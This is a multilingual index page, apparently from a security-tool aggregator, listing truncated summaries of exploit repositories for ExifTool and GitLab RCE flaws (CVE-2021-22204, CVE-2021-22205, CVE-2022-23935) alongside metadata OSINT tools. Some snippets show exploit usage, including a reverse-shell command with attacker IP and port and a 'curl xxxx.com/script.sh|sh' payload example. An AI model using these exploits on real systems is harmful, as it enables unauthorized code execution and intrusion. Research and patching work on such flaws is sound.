CVE-2021-22204

CVE-2021-22204 Descrizione La neutralizzazione impropria dei dati utente nel formato file DjVu in ExifTool versioni 7.44 e successive consente l'esecuzione arbitraria di codice durante l'analisi delle immagini dannose. Script Collegamento script Utilizzo dello script: Comando di sistema:...

CVE-2022-23935

CVE-2022-23935 Il programma software Exiftool, nelle versioni precedenti alla 12.38, presenta una vulnerabilità di sicurezza che può essere sfruttata tramite un nome di file appositamente predisposto. Questa vulnerabilità consente l'iniezione di comandi, in cui un attaccante può eseguire comandi...

CVE-2022-23935

Introduzione CVE-2022-23935 exploit PoC exiftool versione 12.37 Installazione root@kitploit: git clone https://github.com/0xFTW/CVE-2022-23935 cd CVE-2022-23935 chmod +x CVE-2022-23935.py pip3 install pwntools Utilizzo root@kitploit: ./CVE-2022-23935...

Gitlab-CVE-2021-22205

RCE non autenticata su Gitlab versione 13.10.3 Exploit RCE non autenticata per gitlab versione 13.10.3 Solo per scopi educativi/di ricerca. Usalo a tuo rischio Causa principale: Quando carica file immagine, Gitlab Workhorse passa qualsiasi file con le estensioni jpg|jpeg|tiff a ExifTool per...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner Utilizzo root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort Crediti https://hackerone.com/reports/1154542 Frammento di codice riferito da: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py...

CVE-2021-22205

CVE-2021-22205 - Esecuzione di codice in remoto non autenticata su GitLab CVE-2021-22205 è una vulnerabilità critica di Esecuzione di Codice in Remoto RCE che colpisce GitLab Community Edition CE e Enterprise Edition EE. La vulnerabilità ha origine da una validazione impropria dei file immagine...

CVE-2021-22204

CVE-2021-22204 Exploit für CVE-2021-22204 ExifTool - Beliebige Codeausführung Beschreibung des Exploits Verwenden Sie diesen Exploit, um eine JPEG-Bildnutzlast zu generieren, die mit einer anfälligen ExifTool-Version zur Codeausführung verwendet werden kann. Ein benutzerdefinierter Befehl kann...

PowerMeta

PowerMeta PowerMeta cerca file pubblicamente disponibili ospitati su vari siti web per un determinato dominio utilizzando ricerche Google e Bing appositamente create. Permette quindi di scaricare tali file dal dominio target. Dopo aver recuperato i file, PowerMeta può analizzare i metadati...

CVE-2021-22205

CVE-2021-22205 GitLab CE/EE RCE non autenticato tramite ExifTool Questo progetto è solo a scopo didattico; se qualcuno è stato danneggiato, contattatemi per rimuovere il progetto. Infine,NON USARLO ILLEGALMENTE. Se durante l'utilizzo di questo strumento commetti atti illegali, te ne assumerai tut...

CVE-2021-22204

CVE-2021-22204 Vulnerabilità Esecuzione arbitraria di comandi in exiftool Utilizzo 1. Imposta l'IP e la porta per ricevere la reverse shell nel file exploit.py, quindi esegui docker compose up 2. Accedi alla shell di docker e, nella directory /root, esegui python3 exploit.py per generare il file...

CVE-2021-22204

CVE-2021-22204 - Esecuzione di codice arbitrario in ExifTool Un exploit aggiornato per CVE-2021-22204, una vulnerabilità in ExifTool versioni 7.44 fino a 12.23 che consente l'esecuzione di codice arbitrario durante l'elaborazione di file DjVu dannosi. Descrizione La neutralizzazione impropria dei...

CVE-2021-22204

CVE-2021-22204 Resumo do CVE A sanitização inadequada dos dados do usuário no formato de arquivo DjVu no ExifTool versões 7.44 e superiores permite a execução arbitrária de código ao analisar a imagem maliciosa. Versões Afetadas Versão 7.44 - 12.23 Anomalias Dependências: djvulibre-bin exiftool...

Golang-CVE-2021-22205-POC

Golang-CVE-2021-22205-POC Um POC básico para CVE-2021-22205 Gitlab RCE escrito em Golang que afeta Gitlab CE/EE /tmp/pizza.txt" Onde a flag t especifica a instância Gitlab alvo e a flag c é o comando que você deseja executar. O script está configurado para usar http://localhost:9090 como proxy...

CVE-2021-22204-Gitlab

Gitlab-Exiftool-RCE Repository originale : https://github.com/CsEnox/Gitlab-Exiftool-RCE Crediti a CsEnox. Exploit RCE per Gitlab 13.10.3 GitLab Workhorse passerà qualsiasi file a ExifTool. Il bug attuale si trova nel modulo DjVu di ExifTool. Chiunque abbia la possibilità di caricare un'immagine...

POC_CVE-2026-42589

POCCVE-2026-42589 Laboratório de reprodução local e rascunho de template do nuclei para CVE-2026-42589 que afeta o Gotenberg. Resumo A CVE-2026-42589 é um problema de execução remota de código não autenticada no Gotenberg causado por injeção de nova linha na chave de metadados em: root@kitploit:...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 Dies ist nur ein praktisches Skript, das ich zum Testen geschrieben habe. Ausgabe root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh"...

pymeta

PyMeta PyMeta ist eine in Python3 geschriebene Neuimplementierung des Tools PowerMeta, erstellt von dafthack in PowerShell. Es verwendet speziell entwickelte Suchabfragen, um die folgenden Dateitypen pdf, xls, xlsx, csv, doc, docx, ppt, pptx von einer angegebenen Domain mittels Google- und...

Metaforge

Metaforge "Uno strumento OSINT che analizza i metadati e crea report dinamici" https://chriswmorris.github.io/Metaforge/ Progetto Senior Design 2019 - Di Chris Morris e Collin Mockbee Un'applicazione Python3 per sistemi operativi basati su Unix Nota: Metaforge richiede almeno python versione 3.5...

CVE-2021-22205

CVE-2021-22205 Gitlab CE/EE पर exiftool के माध्यम से Preauth RCE CVE का सारांश GitLab, प्रत्येक tiff/jpeg/jpg फ़ाइल को स्कैन करने के लिए ExifTool का उपयोग करता है ताकि किसी भी ऐसे टैग को हटाया जा सके जो श्वेतसूचीबद्ध नहीं हैं। लेकिन क्योंकि ExifTool फ़ाइल प्रकार निर्धारित करने के लिए फ़ाइल...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool CVE-2021-22204 कमजोरी के लिए Exiftool में Python शोषण उपकरण। कमजोरी के बारे में CVE-2021-22204 की खोज और रिपोर्ट विलियम बॉलिंग @wcbowling द्वारा की गई थी। यह शोषण CVE की पहले से रिपोर्ट होने के बाद exiftool पैच का अध्ययन करके बनाया गया था। पूर्व-आवश्यकताएँ exiftool और...